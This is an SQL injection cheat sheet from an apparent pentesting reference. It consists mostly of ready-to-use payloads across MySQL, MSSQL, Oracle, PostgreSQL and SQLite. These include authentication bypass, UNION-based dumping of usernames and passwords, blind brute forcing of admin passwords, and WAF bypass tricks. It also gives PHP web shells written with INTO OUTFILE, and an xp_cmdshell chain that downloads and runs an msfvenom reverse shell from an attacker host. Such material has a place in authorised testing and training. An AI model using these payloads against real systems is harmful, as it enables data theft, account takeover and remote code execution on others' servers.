# SQL Injection Cheat Sheet

sqlSQL injection (SQLi) is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution. This page is about the SQL injection cheat sheet.

### Entry Point Detection <a href="#entry-point-detection" id="entry-point-detection"></a>

Reference: [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#entry-point-detection)

```sql
'
%27
%2527

"
%22
%2522

`
%60
%2560

#
%23
%2523

;
%3B
%253B

)
%29
%2529

')
%27%29
%2527%2529

")
%22%29
%2522%2529
```

### Comment Syntax <a href="#comment-syntax" id="comment-syntax"></a>

Comment syntax is depending on the database used in the website.

| DBMS       | Comments                        |
| ---------- | ------------------------------- |
| MySQL      | `-- -` (add a space after `--`) |
|            | `#`                             |
|            | `/*comment*/`                   |
|            | `/*!comment*/`                  |
| MSSQL      | `--`                            |
|            | `/*comment*/`                   |
| Oracle     | `--`                            |
| PostgreSQL | `--`                            |
|            | `/*comment*/`                   |
| SQLite     | `--`                            |
|            | `/*comment*/`                   |

### Basic Injection <a href="#basic-injection" id="basic-injection"></a>

Check if we can inject SQL commands into forms or URL params in the target website.

```sql
' OR 1=1--
' OR 1=1-- -
' OR 1=1#

' OR '1'='1'--
' OR '1'='1'-- -
' OR '1'='1'#

' OR '1'='1--
' OR '1'='1-- -
' OR '1'='1#

" OR 1=1--
" OR 1=1-- -
" OR 1=1#

') OR 1=1--
') OR 1=1-- -
') OR 1=1#

'; OR 1=1--
'; OR 1=1-- -
'; OR 1=1#

admin or 1=1--
admin or 1=1-- -
admin or 1=1#
```

### Blind Injection - Timing <a href="#blind-injection-timing" id="blind-injection-timing"></a>

Reference: [HackTricks](https://book.hacktricks.xyz/pentesting-web/sql-injection#confirming-with-timing)

Using **sleep** method for each query, if results are displayed with a delay, SQLi affects that.

```sql
<!-- MySQL -->
test' AND sleep(10)
test ' OR sleep(10)

<!-- MSSQL -->
test' WAITFOR DELAY '0:0:10'

<!-- Oracle -->
test' AND DBMS_SESSION.SLEEP(10)

<!-- PostgreSQL -->
test' AND pg_sleep(10)
test' OR pg_sleep(10)
test' || pg_sleep(10)

<!-- SQLite -->
test' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
```

### Brute Force Values <a href="#brute-force-values" id="brute-force-values"></a>

```sql
' password LIKE '%'-- -
' password LIKE BINARY '%'-- -

' password REGEXP '^[a-z]*'-- -
' password REGEXP BINARY '^[a-z]*'-- -
```

### WAF Bypass <a href="#waf-bypass" id="waf-bypass"></a>

Reference: [OWASP](https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF)

If website filters to prevent our payloads, we need to bypass the filter.

#### HTTP Parameter Pollution <a href="#http-parameter-pollution" id="http-parameter-pollution"></a>

We may inject by splitting the parameter values on the same keys.

```sql
/?id='+select+1&id=2,3+from+users+where+id=1-- -
```

#### New Line (’%0A’) <a href="#new-line-0a" id="new-line-0a"></a>

By prepending the new line (URL encoded to ‘%0A’), subsequent syntax may circumvent the filtering.

```sql
/?id=%0A' OR 1=1-- -
```

### Version Detection <a href="#version-detection" id="version-detection"></a>

#### MSSQL <a href="#mssql" id="mssql"></a>

```sql
' UNION SELECT @@version--
' UNION SELECT NULL,@@version--
```

#### MySQL <a href="#mysql" id="mysql"></a>

```sql
' UNION SELECT @@version-- -
' UNION SELECT @@version#

' UNION SELECT NULL,@@version-- -
' UNION SELECT NULL,@@version#
```

#### Oracle <a href="#oracle" id="oracle"></a>

```sql
' UNION SELECT 'a' FROM dual--
' UNION SELECT 'a','b' FROM dual--
' UNION SELECT * FROM v$version--
' UNION SELECT BANNER,NULL FROM v$version--
```

#### PostgreSQL <a href="#postgresql" id="postgresql"></a>

```sql
' UNION SELECT version()--
' UNION SELECT NULL,version()--
```

#### SQLite <a href="#sqlite" id="sqlite"></a>

```sql
' UNION SELECT sqlite_version()--
' UNION SELECT sqlite_version(),NULL--
```

### Detect Number of Columns <a href="#detect-number-of-columns" id="detect-number-of-columns"></a>

The following commands detect the number of the columns in the database.

```sql
' UNION SELECT NULL--
' UNION SELECT NULL-- -

' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL-- -

' UNION SELECT NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL-- -

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT 'a',NULL,NULL-- -

' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,'a',NULL-- -

' UNION SELECT NULL,NULL,'a'--
' UNION SELECT NULL,NULL,'a'-- -
```

#### UNION ALL <a href="#union-all" id="union-all"></a>

We can combine the result of the query into the one column by using “UNION ALL” syntax.

```shellscript
' UNION ALL SELECT "' UNION SELECT flag,NULL,NULL from flags-- -",NULL,NULL from users-- -
```

### List Table Names <a href="#list-table-names" id="list-table-names"></a>

Get the table name in which you want to get the information.

#### MSSQL <a href="#mssql_1" id="mssql_1"></a>

```shellscript
' UNION SELECT table_name,NULL FROM information_schema.tables--
```

#### MySQL <a href="#mysql_1" id="mysql_1"></a>

```shellscript
' UNION SELECT table_name,NULL FROM information_schema.tables-- -
' UNION SELECT table_name,NULL FROM information_schema.tables#

<!-- group_concat(): Dump all tables simultaneously -->
' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables-- -
' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables#
```

#### PostgreSQL <a href="#postgresql_1" id="postgresql_1"></a>

```shellscript
' UNION SELECT table_name,NULL FROM information_schema.tables--
```

#### Oracle <a href="#oracle_1" id="oracle_1"></a>

```shellscript
' UNION SELECT table_name,NULL FROM all_tables--
```

#### SQLite <a href="#sqlite_1" id="sqlite_1"></a>

```shellscript
' UNION SELECT tbl_name FROM sqlite_master--
' UNION SELECT tbl_name,NULL FROM sqlite_master--
```

### List Column Names <a href="#list-column-names" id="list-column-names"></a>

Get column names from the table name which we got.

#### MSSQL <a href="#mssql_2" id="mssql_2"></a>

```shellscript
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'--
```

#### MySQL <a href="#mysql_2" id="mysql_2"></a>

```shellscript
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'-- -
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'#
```

#### PostgreSQL <a href="#postgresql_2" id="postgresql_2"></a>

```shellscript
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'--
```

#### Oracle <a href="#oracle_2" id="oracle_2"></a>

```sql
' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='table_name'--
```

#### SQLite <a href="#sqlite_2" id="sqlite_2"></a>

```sql
' UNION SELECT column
```

### List Information in the Table <a href="#list-information-in-the-table" id="list-information-in-the-table"></a>

Get information in the table.\
For instance, suppose we want to get the username and password from the table named 'users'.

```sql
' UNION SELECT username,password FROM users--
' UNION SELECT username,password FROM users-- -

' UNION SELECT username || '~' || password FROM users--
' UNION SELECT username || '~' || password FROM users-- -

' UNION SELECT NULL,username || '~' || password FROM users--
' UNION SELECT NULL,username || '~' || password FROM users-- -

' UNION SELECT username,password FROM users WHERE username='admin' AND password='password1'--
' UNION SELECT username,password FROM users WHERE username='admin' AND password='password1'-- -

' UNION SELECT username,password FROM users WHERE username='admin' OR password='password1'--
' UNION SELECT username,password FROM users WHERE username='admin' OR password='password1'-- -

' UNION SELECT username,password FROM users WHERE username='admin' AND password LIKE 'pas%'--
' UNION SELECT username,password FROM users WHERE username='admin' AND password LIKE 'pas%'-- -
```

**BINARY**: Sensitive to upper case and lower case.

```sql
' UNION SELECT username,password FROM users WHERE username='admin' AND BINARY password='PassWord'--
' UNION SELECT username,password FROM users WHERE username='admin' AND BINARY password='PassWord'-- -
```

#### Dumping Table <a href="#dumping-table" id="dumping-table"></a>

```sql
' UNION SELECT table_name FROM table_name--
' UNION SELECT table_name,NULL FROM table_name--
```

### Fetch All Entities <a href="#fetch-all-entities" id="fetch-all-entities"></a>

```sql
' UNION SELECT * FROM users-- -
'; SELECT * FROM users-- -
```

### Modify/Insert Data <a href="#modifyinsert-data" id="modifyinsert-data"></a>

#### Insert Arbitrary Data <a href="#insert-arbitrary-data" id="insert-arbitrary-data"></a>

```sql
' INSERT INTO users (username, password) VALUES ('admin', 'pass')-- -
'; INSERT INTO users (username, password) VALUES ('admin', 'pass')-- -

<!-- Insert a payload -->
' INSERT INTO products (id, name, price) VALUES (999, "<?php system('id'); ?>", 10)-- - 
```

#### Update Arbitrary Data <a href="#update-arbitrary-data" id="update-arbitrary-data"></a>

```sql
' UPDATE users SET password='password123' WHERE username='admin'-- -
' UPDATE users SET password='password123' WHERE id=1-- -
```

#### Upsert <a href="#upsert" id="upsert"></a>

This is a combination of **`UPDATE`** and **`INSERT`** operation. If a particular row already exists, it will be updated with new values. Here are examples that update password for the existing **`admin`** user.

```sql
<!-- MySQL -->
INSERT INTO users (username, password) VALUES('admin', '') ON DUPLICATE KEY UPDATE password=''-- -

<!-- PostgreSQL, SQLite -->
INSERT INTO users (username, password) VALUES ('admin', '') ON CONFLICT (username) DO UPDATE SET password='password'--
```

### Command Injection <a href="#command-injection" id="command-injection"></a>

#### MySQL <a href="#mysql_3" id="mysql_3"></a>

```sql
' UNION SELECT NULL,sys_eval('whoami') FROM users-- -
```

#### MSSQL <a href="#mssql_3" id="mssql_3"></a>

```sql
<!-- 1. Enable OS commands. -->
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
<!-- 2. Execute command -->
'; exec master..xp_cmdshell 'powershell -e <BASE64_COMMAND>';-- -
```

### RCE <a href="#rce" id="rce"></a>

#### MSSQL <a href="#mssql_4" id="mssql_4"></a>

1. In attack machine, prepare a payload for reverse shell.

Replace the ip address of `LHOST` with your ip.

```sql
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe
```

1. In attack machine, start a local web server to host the payload file.

```shellscript
python3 -m http.server 8000
```

1. In attack machine, start a listener to receiver incoming connection.

```shellscript
nc -lvnp 4444
```

1. In target website, execute the shell command with SQLi.

```shellscript
<!-- 1. Enable the shell command -->
' ; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--

<!-- 2. Download our payload -->
' ; EXEC xp_cmdshell 'certutil -urlcache -f http://10.0.0.1:8000/shell.exe C:\Windows\Temp\shell.exe';--

<!-- 3. Execute the payload -->
' ; EXEC xp_cmdshell 'C:\Windows\Temp\shell.exe';--
```

After execution, we may get a shell of target system.

### Error-based SQLi <a href="#error-based-sqli" id="error-based-sqli"></a>

Reference: [PortSwigger](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based)

We might be able to gather information of the database by leading the error message. We can construct SQLi while checking error messages.\
Here are MySQL injection examples.

```sql
' AND 1=CAST((SELECT 1) AS int)-- -
' AND 1=CAST((SELECT password FROM users) AS int)-- -
<!-- Limit only one row if required -->
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)
```

In the example above, we may see the password revealed in the error message.

### Blind SQL <a href="#blind-sql" id="blind-sql"></a>

#### 1. Check if the SQL Injection Works <a href="#id-1-check-if-the-sql-injection-works" id="id-1-check-if-the-sql-injection-works"></a>

```plsql
' AND '1'='1
' AND '1'='2
' AND (SELECT 'a' FROM users LIMIT 1)='a
```

#### 2. Check if Content Value Exists <a href="#id-2-check-if-content-value-exists" id="id-2-check-if-content-value-exists"></a>

For example, check if username 'administrator' exists in 'users'

```sql
' AND (SELECT 'a' FROM users WHERE username='administrator')='a
```

If so, determine the password length

```sql
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
...
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=8)='a
```

Brute force password's character

```sql
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='$a$
' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='$a$
...
' AND (SELECT SUBSTRING(password,8,1) FROM users WHERE username='administrator')='$a$
```

### Blind SQL (Time-based) <a href="#blind-sql-time-based" id="blind-sql-time-based"></a>

#### 1. First Check <a href="#id-1-first-check" id="id-1-first-check"></a>

* **MySQL**

  ```
  ' AND sleep(5)-- -
  ```
* **PostgreSQL**

  ```sql
  '||pg_sleep(10)--
  '; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
  '; SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--

  <!--- https://hackerone.com/reports/2209130 -->
  ');(SELECT 1234 FROM PG_SLEEP(10))--
  ```

#### 2. Check if Content Value Exists <a href="#id-2-check-if-content-value-exists_1" id="id-2-check-if-content-value-exists_1"></a>

```
'; SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
```

If so, determine the password length

```sql
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>2) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
...
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)=8) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
```

Brute force password character

```sql
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,2,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
...
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,8,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
```

### Conditional Error <a href="#conditional-error" id="conditional-error"></a>

#### 1. First Check <a href="#id-1-first-check_1" id="id-1-first-check_1"></a>

```sql
'
''
'||(SELECT '')||'
'||(SELECT '' FROM dual)||'
'||(SELECT '' FROM fake_table)||'
'||(SELECT '' FROM users WHERE ROWNUM = 1||'
'|| (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
'|| (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
```

#### 2. Check if Content Value Exists <a href="#id-2-check-if-content-value-exists_2" id="id-2-check-if-content-value-exists_2"></a>

```sql
'|| (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
```

If so, determine the password length

```sql
''||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
''||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
...
''||(SELECT CASE WHEN LENGTH(password)=8 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
```

Brute force password character

```sql
'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
...
'||(SELECT CASE WHEN SUBSTR(password,8,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
```

### Writing Files <a href="#writing-files" id="writing-files"></a>

We can write arbitary code to a file as below.

```sql
' SELECT '<?php echo system("id");?>' INTO OUTFILE '/var/www/html/shell.php'-- -
```

#### HEX Encoded Payloads <a href="#hex-encoded-payloads" id="hex-encoded-payloads"></a>

```shellscript
' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED by 0x3C3F7068702073797374656D28245F4745545B22636D64225D29203F3E-- -
' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED by 0x3C3F7068702073797374656D28245F4745545B22636D64225D29203F3E#
```

**'0x3C3F...'** is a hex encoded text meaning **"\\\<?php system($\_GET\["cmd"]) ?>"**. After injectin, we can access to **`http://10.0.0.1/shell.php?cmd=whoami`**.

### XML Filter Bypass <a href="#xml-filter-bypass" id="xml-filter-bypass"></a>

Reference: [PortSwigger](https://portswigger.net/web-security/sql-injection)

```shellscript
<storeId>
    <!-- Convert 'S' to HTML entity -->
    1 &#x53;ELECT * FROM information_schema.tables
</storeId>
```

If you use **Burp Suite**, it’s recommended to use the **Hackvertor** extention to obfuscate payloads.\
For example, in **Repeater**, highlight the string which you want to encode. Then right-click and select **Extensions → Hackvertor → Encode → hex\_entities**.\
After that, our payload is as below.

```shellscript
<storeId>
    <@hex_entities>
        1 UNION SELECT * FROM information_schema.tables
    <@/hex_entities>
</storeId>
```

### XPATH Injection <a href="#xpath-injection" id="xpath-injection"></a>

#### MySQL <a href="#mysql_4" id="mysql_4"></a>

```
' AND UPDATEXML(NULL,CONCAT(0x3a,(SELECT SUBSTRING(password,1,16) FROM users)),null)-- -
```

If the error result appears such like the following, we retrieved the piece of the password hash.

```
XPATH syntax error: ':3ac6b24dc611a692'
```

So we can find the remaining of the password hash by injecting below command.

```
' AND UPDATEXML(NULL,CONCAT(0x3a,(SELECT SUBSTRING(password,17,32) FROM users)),null)-- -
```

### Truncation Attack <a href="#truncation-attack" id="truncation-attack"></a>

We can add another user which is the same name as the existing user by registering the same name user with enough “spaces” to truncate a username.\
First off, check the table schema if can.

```shellscript
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
```

Now send POST request with a payload to create a new admin.

```shellscript
# POST request
POST /create-user HTTP/1.1

# Create another new "admin" with more than 64 characters. Btw, "+" means the spaces.
username=admin+++++++++++++++++++++++++++++++++++++++++++++++++++++++++random&password=password
```

Then check if we can login with a new admin.

```
username=admin&password=password
```

Fetch the admin's information with the original password.

```sql
SELECT * FROM users WHERE username='admin';

# It should return the values are the real admin's information.
username = admin
password = <REAL_ADMIN_PASSWORD>
```

### References <a href="#references" id="references"></a>

* [PortSwigger](https://portswigger.net/web-security/sql-injection/blind)
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
* [TryHackMe](https://tryhackme.com/room/adventofcyber2023)